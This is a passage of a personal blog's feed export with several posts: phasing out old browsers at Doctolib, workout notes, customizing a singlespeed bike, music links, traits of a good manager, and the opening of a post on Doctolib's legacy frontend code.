&lt;figcaption&gt;Usage of unsupported Safari versions among Doctolib customers&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Next we decided to tackle Firefox users. Here, we needed to be extra cautious since users in hospitals are unlikely to be able to upgrade their browsers. Therefore, to avoid impacting user experience, we decided to do it in two phases. First, we repeated what we had done for Safari users with Firefox users not working in hospitals: progressively increasing the minimum supported version until we reached 45. In the meantime, we sent emails to the hospitals, letting them know that in the coming few weeks we’d stop supporting old Firefox browsers. Only then we started showing them the banner, until all Firefox users below version 45 saw it.&lt;/p&gt;
&lt;p&gt;We repeated this process for Edge and Internet Explorer 11 afterwards. Eventually, when all unsupported browsers had the banner displayed, we decreased the time during which it could be hidden across page refreshes from 5 days to an hour.&lt;/p&gt;
&lt;p&gt;All along we closely monitored our usage share of web browsers through dashboards and eventually saw usage of all unwanted browsers go downwards, as we expected them to, although not as fast as we predicted.&lt;/p&gt;
&lt;p&gt;As it turned out, having our customers working in hospitals upgrade their browsers was much harder than we thought. People and organizations need time to adapt. It’s also our mission as a tech company providing an online service to educate our customers and explain why upgrading software is important.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/ie.png" alt="Usage of IE among Doctolib customers" /&gt;
&lt;figcaption&gt;Usage of IE among Doctolib customers&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/supporting-internet-explorer-11-in-2019/firefox.png" alt="Usage of ESR Firefox versions among Doctolib customers" /&gt;
&lt;figcaption&gt;Usage of ESR Firefox versions among Doctolib customers&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Eventually, we reached all the goals we had in terms of browsers we officially support, even though there is a significant portion of our customers still using unsupported browsers. We’ve already committed to repeat this plan in a few months to try to get rid of Firefox browsers below version 50 and Chrome browsers below 60.&lt;/p&gt;
&lt;p&gt;What did this plan teach us? First of all, we can’t force users to upgrade their browsers. We can’t decide what they use. They have constraints of their own and we must take them into account. However, good communication and giving them time brings long lasting relationships and builds trust between us and our customers, which is a requirement if we want them to use the right tools.&lt;/p&gt;
&lt;p&gt;Also, such an ambitious plan cannot be executed overnight. Internal communication is key and all the relevant departments must be involved as soon as possible, e.g. Customer Service, Account Management, Tech, etc. It works best when everyone is aligned and knows what we are aiming for and why.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/doctolib/supporting-internet-explorer-11-in-2019-12dc1f1ebc3c"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content><category term="Code"></category><category term="internet explorer"></category><category term="browsers"></category></entry><entry><title>Workout</title><link href="https://romainpellerin.eu/workout.html" rel="alternate"></link><published>2019-07-06T16:50:00+02:00</published><updated>2024-02-25T23:23:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-07-06:/workout.html</id><summary type="html">&lt;p&gt;Videos&lt;/p&gt;</summary><content type="html">&lt;h1 id="how-many-reps"&gt;How many reps?&lt;/h1&gt;
&lt;p&gt;For instance, to build muscle, one should reach muscle failure after 6 to 12 reps.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img alt="How many reps to build strength/muscle/endurance" src="https://romainpellerin.eu/images/workout-reps.jpg" /&gt;
&lt;figcaption&gt;Source: &lt;a href="https://www.missionpossiblefitness.com.au/blog/44-method-behind-the-madness-prescribing-rep-ranges/"&gt;https://www.missionpossiblefitness.com.au/blog/44-method-behind-the-madness-prescribing-rep-ranges/&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;More on the topic in these videos (in French), from 5'30 on:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/UgoItZgNuAM" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;And from 4' on:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/8U6mHtWTs6Y" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="how-many-sets"&gt;How many sets?&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.mensjournal.com/health-fitness/rep-range-builds-most-muscle"&gt;3-6 sets seems to be recommended quite often for hypertrophy.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="how-much-rest-time-between-sets"&gt;How much rest time between sets?&lt;/h1&gt;
&lt;p&gt;Hard to find reliable data, and it seems there is no consensus. But for hypertrophy, &lt;a href="https://pubmed.ncbi.nlm.nih.gov/19691365/"&gt;30-60 seconds&lt;/a&gt; is often cited.&lt;/p&gt;
&lt;h1 id="other-resources-and-videos"&gt;Other resources and videos&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/BkS1-El_WlE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/m2LfqLLjWE4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/QsYre__-aro" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/XM8-SyMFrRc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Below is the last minute of the video above:&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src="./videos/abs-routine.webm" type="video/webm"&gt;
&lt;/video&gt;

&lt;figure class="center"&gt;&lt;img alt="The 8-min abs workout steps from the video above" src="https://romainpellerin.eu/images/abs-workout.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;&lt;a href="https://romainpellerin.eu/extra/WORKOUT.pdf"&gt;My very own workout plan, from 2016, back when I was in South Korea.&lt;/a&gt;&lt;/p&gt;</content><category term="Sports"></category><category term="workout"></category></entry><entry><title>From a second hand regular black bike to a fully customized singlespeed bike</title><link href="https://romainpellerin.eu/from-a-second-hand-regular-black-bike-to-a-fully-customized-singlespeed-bike.html" rel="alternate"></link><published>2019-06-24T23:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-06-24:/from-a-second-hand-regular-black-bike-to-a-fully-customized-singlespeed-bike.html</id><summary type="html">&lt;p&gt;Customizing my bike&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ok so I've been owning a bike for almost four months now, and after cycling over 1,000 km (I do 17 km everyday commuting), it's time for me to customize my bike.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="My biking stats" src="https://romainpellerin.eu/images/bike-app.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;As a reminder, that's what &lt;a href="https://www.infine-cycles.com/fr/velos/81-1150-velo-urbain-classic-40.html"&gt;my bike&lt;/a&gt; looked like when I bought it.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="My bike when I bought it" src="https://romainpellerin.eu/images/bike-paris2.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;What I'd like to do is to recreate the same bike I had when I was in &lt;a href="https://romainpellerin.eu/south-korea.html"&gt;South Korea&lt;/a&gt;, back in 2016.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="My bike in South Korea, brand new" src="https://romainpellerin.eu/images/south-korea/bike.jpg" /&gt;&lt;/figure&gt;

&lt;figure class="center"&gt;&lt;img alt="My bike in South Korea, by a river" src="https://romainpellerin.eu/images/bike-korea.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;More photos: &lt;a href="http://www.bikey.co.kr/new/board.php?board=bt700c&amp;amp;command=body&amp;amp;no=77"&gt;here&lt;/a&gt;, &lt;a href="http://prod.danawa.com/info/?pcode=1414217&amp;amp;cate1=0&amp;amp;cate2=0&amp;amp;cate3=0&amp;amp;cate4=0"&gt;here&lt;/a&gt;, &lt;a href="https://biketago.com/bike/1912"&gt;here&lt;/a&gt; and &lt;a href="https://www.pedalroom.com/bike/samchully-x-benetton-fixie-29131"&gt;there&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So here we go, here's what I need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[x] &lt;strong&gt;A rear white wheel&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;[x] &lt;strong&gt;A pink tire&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;[x] A front green wheel&lt;/li&gt;
&lt;li&gt;[x] A white tire&lt;/li&gt;
&lt;li&gt;[ ] A green chain&lt;/li&gt;
&lt;li&gt;[ ] A single speed freewheel&lt;/li&gt;
&lt;li&gt;[ ] A white frame&lt;/li&gt;
&lt;li&gt;[ ] A green saddle&lt;/li&gt;
&lt;li&gt;[ ] Pink grips&lt;/li&gt;
&lt;li&gt;[ ] A pink shifter cable housing and a white one&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="finding-the-parts"&gt;Finding the parts&lt;/h1&gt;
&lt;h2 id="rear-wheel-and-tire"&gt;Rear wheel and tire&lt;/h2&gt;
&lt;p&gt;When it comes to wheel size standards, it's quite messy... but it's getting better. It seems like the European standard &lt;a href="https://en.wikipedia.org/wiki/ISO_5775"&gt;ETRTO&lt;/a&gt; is becoming the global norm. My bike has the most common wheel size: 28", also referred to as 700C (French size) and officially called 622 by ETRTO. When I bought my bike, it came with 28mm-wide tires but I deciced to go with thiner ones, thus choosing a &lt;a href="https://www.lecyclo.com/velo/roue-pneu/pneu-velo/pneu-kenda/pneu-velo-de-route-rose-700-x-26-c-kenda.html"&gt;26-622 pink rear tire&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One very important thing to take into account when buying a wheel is &lt;a href="https://www.sheldonbrown.com/frame-spacing.html"&gt;the rear frame spacing&lt;/a&gt; (&lt;em&gt;entraxe&lt;/em&gt; in French). Mine is 130mm, like most 8-speed road bikes.&lt;/p&gt;
&lt;p&gt;Finally, one last thing to be cautious about is the kind of cogset you want: &lt;a href="https://www.lecyclo.com/outils/roue-libre-cassette-velo.html"&gt;freewheel (&lt;em&gt;roue libre&lt;/em&gt;) or cassette&lt;/a&gt;. As a rule of thumb, the freewheel system is the oldest, and can't exceed 7 speed. But it's also cheaper (parts are cheap) and you can easily switch to singlespeed or fixie, as it's the same system. The freewheel system requires a simple wheel and all is needed is screwing the freewheel (one or many sprockets) on the wheel. On the contrary, a cassette is mounted on a freewheel body (&lt;em&gt;corps de roue libre&lt;/em&gt;) that's part of the wheel. Cassettes are supposed to last longer.&lt;/p&gt;
&lt;p&gt;Eventually, I decided to go with this &lt;a href="https://www.lecyclo.com/velo/roue-pneu/roue-velo/roue-arriere/roue-arriere-velo-de-course-700-blanche-roue-libre-5-7-vitesses.html"&gt;15-622 white freewheel rear wheel&lt;/a&gt; that has a 40mm internal width rim. Since I'm switching from a 8-speed cassette system to a 7-speed freewheel, I had to buy &lt;a href="https://www.amazon.fr/gp/product/B00EXU0WBK"&gt;a new Shimano shifter&lt;/a&gt;, as well as a new chain.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="My bike with its pink rear wheel" src="https://romainpellerin.eu/images/bike-pink-rear-wheel.jpg" /&gt;&lt;/figure&gt;

&lt;h2 id="front-wheel-and-tire"&gt;Front wheel and tire&lt;/h2&gt;
&lt;p&gt;My front frame spacing is 100mm so I needed to find an adequate green wheel which I still have not found so far (&lt;strong&gt;UPDATE: see below&lt;/strong&gt;). Here's what I've found up until now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.lecyclo.com/velo/roue-pneu/roue-velo/paire-de-roues/roue-avant-et-arriere-fixie-single-speed-28-pouces-vertes.html"&gt;Roue avant et arrière fixie single-speed 28 pouces Vertes&lt;/a&gt;: I could buy just one but the rim internal width is 30mm and not 40mm as I need.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.velo-zone.fr/pieces-roues-route_fixie/8894-roue-route-fixie-43mm-vert-avant-selection.html#detail"&gt;Roue route - fixie 43mm vert avant&lt;/a&gt;: 43mm internal width... not 40&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.messingschlager.com/en/products/rim_t67/m-wave-r4022-hollow-rim_a381040-S"&gt;M-WAVE R4022 hollow rim&lt;/a&gt;: that's exactly the rim that I need!!! But buying a whole wheel would be so much easier...&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.beastybike.com/roues-a-rayons/336-1531-paire-de-roues-a-rayons-fixie-pure-fix-700c-40mm.html#/6-couleur-vert"&gt;Roues à rayons fixie PURE FIX 700C 40MM&lt;/a&gt;: braking surface has no pain on it...&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.santafixie.fr/roues-velos-pignon-fixe/avant/roue-avant-origin8-vert-pc.html#"&gt;Roue Fixie Avant Origin 8 Vert&lt;/a&gt;: 42mm internal width...&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.fr/Mango-avant-QUANDO-rayons-Section/dp/B074VC6WJW/ref=sr_1_10?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;amp;keywords=roue+verte&amp;amp;qid=1561217052&amp;amp;s=sports&amp;amp;sr=1-10"&gt;Mango 700 C Roue avant QUANDO – Vert Noir avec rayons (Deep Section)&lt;/a&gt;: too little detail, it does not say anything about the frame spacing, plus I don't know if the seller is trustworthy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Regarding the tire, I'll go with &lt;a href="https://www.lecyclo.com/velo/roue-pneu/pneu-velo/pneu-kenda/pneu-velo-blanc-pour-fixie-et-single-speed-700-x-26-c-kenda.html"&gt;that one&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="yet-to-buy"&gt;Yet to buy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;s&gt;A front green wheel&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;A white tire&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.lecyclo.com/velo/pieces-detachees/transmission/chaine/chaine-velo-bmx-fixie-single-speed-verte.html"&gt;A green chain&lt;/a&gt;: I need to be careful not to buy the wrong kind. There are two major kinds of chains: 1/2" 3/32" for most multiplespeed bikes and 1/2" 1/8" for BMX, fixies and singlespeed bikes. I currently have a 1/2" 3/32". A change of the type of chain requires a change of cogset and crankset.&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.lecyclo.com/velo/pieces-detachees/transmission/cassette-roue-libre/roue-libre-mono-vitesse-pour-velo.html"&gt;A single speed freewheel&lt;/a&gt;&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/peinture-pour-velo-spray-bike-blb-london-collection-400-ml.html"&gt;A white frame&lt;/a&gt;&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.lecyclo.com/velo/confort/selle-tige-et-housse/selle/selle-velo-vintage-verte-imitation-cuir-avec-rivets.html"&gt;A green saddle&lt;/a&gt;&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.lecyclo.com/velo/confort/potence-guidon/poignee-corne/grips-roses-pour-guidon-de-velo-get-shorty-blb.html"&gt;Pink grips&lt;/a&gt;&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;a href="https://www.amazon.fr/dp/B07PFD29VT/"&gt;A pink shifter cable housing&lt;/a&gt; and &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/frein/cable-gaine/gaine-de-frein-velo-blanche-2-metres-brakco.html"&gt;a white one&lt;/a&gt;&lt;/s&gt; (&lt;strong&gt;updated&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="update-june-29-2019"&gt;**UPDATE JUNE 29, 2019**&lt;/h3&gt;
&lt;figure class="center"&gt;&lt;img alt="My bike with its pink rear wheel" src="https://romainpellerin.eu/images/bike-pink-green.jpg" /&gt;&lt;/figure&gt;

&lt;p&gt;I just received a new parcel in my mailbox: &lt;a href="https://www.beastybike.com/roues-a-rayons/336-1531-paire-de-roues-a-rayons-fixie-pure-fix-700c-40mm.html#/6-couleur-vert"&gt;a front green wheel&lt;/a&gt; and &lt;a href="https://www.lecyclo.com/velo/roue-pneu/pneu-velo/pneu-kenda/pneu-velo-blanc-pour-fixie-et-single-speed-700-x-26-c-kenda.html"&gt;a white tire&lt;/a&gt;!!! YAY!&lt;/p&gt;
&lt;h1 id="turning-it-into-a-singlespeed-bike-not-so-easy"&gt;Turning it into a singlespeed bike: not so easy&lt;/h1&gt;
&lt;p&gt;First, as I wrote above, I'd need to change the type of chain and use a 1/2" 1/8". Why? Because it's pretty much the standard for fixes and singlespeed bikes. Plus the choices in terms of colors are much wider. And there are more singlespeed freewheels that work with this kind of chain. Then, as a consequence, I'd need to change the cogset and crankset, and remove the derailleur. I could just do it myself with &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/outils/transmission/demonte-roue-libre-super-b-tb-1045.html"&gt;the&lt;/a&gt; &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/outils/transmission/derive-chaine-de-velo.html"&gt;right&lt;/a&gt; &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/outils/transmission/pince-a-maillon-chaine-velo-2-en-1-montage-et-demontage.html"&gt;tools&lt;/a&gt; but for now, it's too much work. I'll just wait until my chain or cogset get too old and damaged and only then will I switch to singlespeed.&lt;/p&gt;
&lt;p&gt;Also, and that's good to know, the ratio between speed and ease of pedaling must be taken into account. For instance, say you have a 14 teeth freewheel and a 42 teeth chainring, the ratio would be 42/14=3.&lt;/p&gt;
&lt;p&gt;That's it for now. This article will likely be updated in the coming months...&lt;/p&gt;
&lt;h3 id="update-october-20-2019"&gt;**UPDATE OCTOBER 20, 2019**&lt;/h3&gt;
&lt;p&gt;Well, that's it. I've bought everything needed to fully transform my bike, including making it singlespeed. To paint my frame, I followed &lt;a href="https://www.lecyclo.com/outils/peindre-son-velo-avec-spray-bike.html"&gt;this tutorial&lt;/a&gt; and bought these products: &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/appret-anti-corrosion-peinture-velo-spray-bike-pour-tout-metal.html"&gt;before paint&lt;/a&gt;, &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/peinture-pour-velo-spray-bike-blb-london-collection-400-ml.html"&gt;paint&lt;/a&gt;, &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/vernis-pour-finitions-peinture-de-velo-spray-bike-400-ml.html"&gt;after paint&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="An animated image of the transformation of my bike" src="https://romainpellerin.eu/images/bike.gif" /&gt;&lt;/figure&gt;</content><category term="Bikes"></category><category term="bike"></category></entry><entry><title>Music</title><link href="https://romainpellerin.eu/music.html" rel="alternate"></link><published>2019-06-18T22:40:00+02:00</published><updated>2019-06-18T22:40:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-06-18:/music.html</id><summary type="html">&lt;p&gt;Stuff about music&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="http://radiooooo.com/"&gt;Radiooooo - The Musical Time Machine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://everynoise.com/"&gt;Every Noice at Once&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="music"></category></entry><entry><title>A Good Manager</title><link href="https://romainpellerin.eu/a-good-manager.html" rel="alternate"></link><published>2019-05-14T14:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-05-14:/a-good-manager.html</id><summary type="html">&lt;p&gt;Who I think a good manager should be&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;Doesn't repeat to others what their team tell them&lt;/li&gt;
&lt;li&gt;Doesn't mention names when reporting to their own manager what they've been told&lt;/li&gt;
&lt;li&gt;Doesn't put people under pressure without involving themselves&lt;/li&gt;
&lt;li&gt;Doesn't complain (unless justifiably) and set an example at all times&lt;/li&gt;
&lt;li&gt;Cares about 1 on 1 meetings and avoid postponing them or hijacking them for other purposes&lt;/li&gt;
&lt;li&gt;Helps their team members grow and set ambitious personal goals within the company&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=T6qxh4l3i_8"&gt;How to make people work together?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/the-idiots-guide-to-being-a-bad-manager-e6e382b79064"&gt;The Bad Boss Guide: How to Scar Your Employees&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2019/05/25/opinion/sunday/writing-advice.html"&gt;How to Get Every Email Returned&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/raylene/eng-handbook"&gt;The Eng Team Handbook (eng-handbook)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://firstround.com/review/the-engineers-guide-to-career-growth-advice-from-my-time-at-stripe-and-facebook/"&gt;The Engineer’s Guide to Career Growth — Advice from My Time at Stripe and Facebook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="E-mail like a boos" src="https://romainpellerin.eu/images/emails.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://twitter.com/danidonovan/status/1131213545050386432"&gt;Source&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content><category term="Jobs"></category><category term="manager"></category><category term="job"></category></entry><entry><title>Regaining control over Doctolib.com frontend</title><link href="https://romainpellerin.eu/regaining-control-over-doctolib-com-frontend.html" rel="alternate"></link><published>2019-05-14T14:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-05-14:/regaining-control-over-doctolib-com-frontend.html</id><summary type="html">&lt;p&gt;Doctolib has been growing rapidly over the past 5 years, as has our code base. We have been able to deliver numerous features in a timely manner, but oftentimes at the expense of code legibility and…&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/@romain.pellerin/regaining-control-over-doctolib-com-frontend-9ec8cc41037f"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Doctolib has been growing rapidly over the past 5 years, as has our code base. We have been able to deliver numerous features in a timely manner, but oftentimes at the expense of code legibility and simplicity. The year 2018 was for us an opportunity to step back, learn from our mistakes, and set goals in order for us to regain control over our frontend. Specifically, we re-defined &lt;a href="https://medium.com/doctolib/treating-technical-debt-62630ee64ef7"&gt;technical debt and legacy code&lt;/a&gt; and took measures to reduce it so that we could keep growing at an ever-faster rate and continue to ship features that practitioners and patients love.&lt;/p&gt;
&lt;h1 id="identifying-pain-points"&gt;Identifying pain points&lt;/h1&gt;
&lt;p&gt;Twice a year a team of people with a strong interest in JavaScript gather to discuss frontend at Doctolib. One person from each feature team is selected to join the meetings. Nevertheless, the meetings are also open to anyone, as long as they express an interest and have proved themselves to be proficient in JavaScript.&lt;/p&gt;
&lt;p&gt;In advance of these meetings, we circulate email surveys to all of the software engineers to identify their specific issues and struggles. Below is an extract from the latest survey we sent out in November 2018:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;What is your biggest pain point on the frontend stack?&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;What elements are holding you back? What prevents you from being more effective?&lt;/li&gt;
&lt;li&gt;Is there anything you don’t understand/you don’t master? RxJS, recompact, react-form? React context, HOC, …?&lt;/li&gt;
&lt;li&gt;Is the directory structure good enough? Does it make sense?&lt;/li&gt;
&lt;li&gt;Any tool-related problems? (Prettier, IDE, Chrome DevTools)&lt;/li&gt;
&lt;li&gt;Apart from &lt;code&gt;console.log&lt;/code&gt;, how do you debug?&lt;/li&gt;
&lt;li&gt;Do you know Jest? Do you know how to write JavaScript unit tests?&lt;/li&gt;
&lt;li&gt;Do you know what React components we have? Do you know how to use them and what props they expect?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These simple, short questionnaires allow us to gather valuable feedback from all of the engineers. Using them, we are able to identify the most-cited problems and define what legacy means at Doctolib during our bi-annual meetings.&lt;/p&gt;
&lt;p&gt;After analyzing the results of these surveys, we usually come up with a new direction and a list of tasks for the following two quarters. These actions are then shared with the rest of the engineers during an all-hands meeting with the entire tech team.&lt;/p&gt;
&lt;h1 id="what-is-legacy-code-at-doctolib-in-2018"&gt;What is legacy code at Doctolib in 2018?&lt;/h1&gt;
&lt;h2 id="rxjs"&gt;RxJS&lt;/h2&gt;
&lt;p&gt;When Doctolib was in its early stages, state management for React apps was still very experimental and there was no consensus about which way to go. Two emerging libraries were becoming fashionable: Redux and RxJS. The decision was made to pick RxJS, but it could have just as well been Redux.&lt;/p&gt;
&lt;p&gt;Over time, RxJS usage grew and the library was soon imported into every file and used for just about anything and everything: app state management, tiny component states, forms, buttons, AJAX requests, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why is this legacy now?&lt;/strong&gt; Well, first of all, RxJS is not entirely legacy but the way it’s being used at Doctolib is. This is mostly because it has been used for everything, although &lt;a href="https://xgrommx.github.io/rx-book/content/guidelines/when/index.html"&gt;its use cases are normally meant to be very specific and restricted&lt;/a&gt;. RxJS also makes unit testing difficult because Observables need to be mocked-up. &lt;a href="https://xgrommx.github.io/rx-book/content/guidelines/when/index.html"&gt;Reactive programming is not known by many&lt;/a&gt;, as indicated on the graph below, therefore it does not help shorten new joiners’ ramp-up time — quite the opposite, to be honest. Our aim is to restrain its use cases to what it was originally intended to be used for: event-based computations and asynchronous sequences of data.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/regaining-control-over-doctolib-com-frontend/rxjs-graph.png" alt="Graph showing RxJS popularity" /&gt;
&lt;figcaption&gt;RxJS ranks last among the “other” JavaScript libraries in 2018 &lt;a target="_blank" href="https://2018.stateofjs.com/front-end-frameworks/other-libraries/"&gt;[Source]&lt;/a&gt;.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="recomposerecompact"&gt;Recompose/Recompact&lt;/h2&gt;
&lt;p&gt;At the same time as RxJS was released, another helper library came out: &lt;a href="https://github.com/acdlite/recompose"&gt;recompose&lt;/a&gt;. As recompose was not meeting all of our needs, the project was forked, patched, and renamed as &lt;a href="https://github.com/neoziro/recompact"&gt;recompact&lt;/a&gt;. Once again, it quickly spread across the code base, bringing Higher Order Components everywhere, as well as additional complexity for new joiners.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why is this legacy now?&lt;/strong&gt; Most helpers from recompact can be written in vanilla React (recompact.pure or recompact.withProps to name a few). Given that early advocates of recompact at Doctolib left the company a while ago, it became challenging to pass down knowledge and help new joiners get up to speed quickly. Moreover, the original library (recompose) was recently officially &lt;a href="https://github.com/acdlite/recompose#a-note-from-the-author-acdlite-oct-25-2018"&gt;deprecated&lt;/a&gt; because of an upcoming React feature, &lt;a href="https://reactjs.org/docs/hooks-intro.html"&gt;Hooks&lt;/a&gt;, not forgetting that recompose/recompact rely on the legacy React Context API. We now aim at getting rid of recompact altogether.&lt;/p&gt;
&lt;h2 id="jquery-and-coffeescript"&gt;jQuery and CoffeeScript&lt;/h2&gt;
&lt;p&gt;Since the very beginning, jQuery and CoffeeScript have been lying around in the code base. jQuery helped features come to life in no time, bridging the gap between various browsers, oftentimes with poor support for new Web APIs. As for CoffeeScript, it is tightly coupled with Ruby on Rails, our backend, thus it has been there from the beginning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why is this legacy now?&lt;/strong&gt; Starting this year, we only support modern browsers and Internet Explorer 11. Consequently, it does not make any sense to use jQuery when we can write plain JavaScript; and CoffeeScript adds unneeded complexity given that very few people can understand it at a glance, let alone write it.&lt;/p&gt;
&lt;h2 id="react-unsafe-life-cycle-methods"&gt;React unsafe life-cycle methods&lt;/h2&gt;
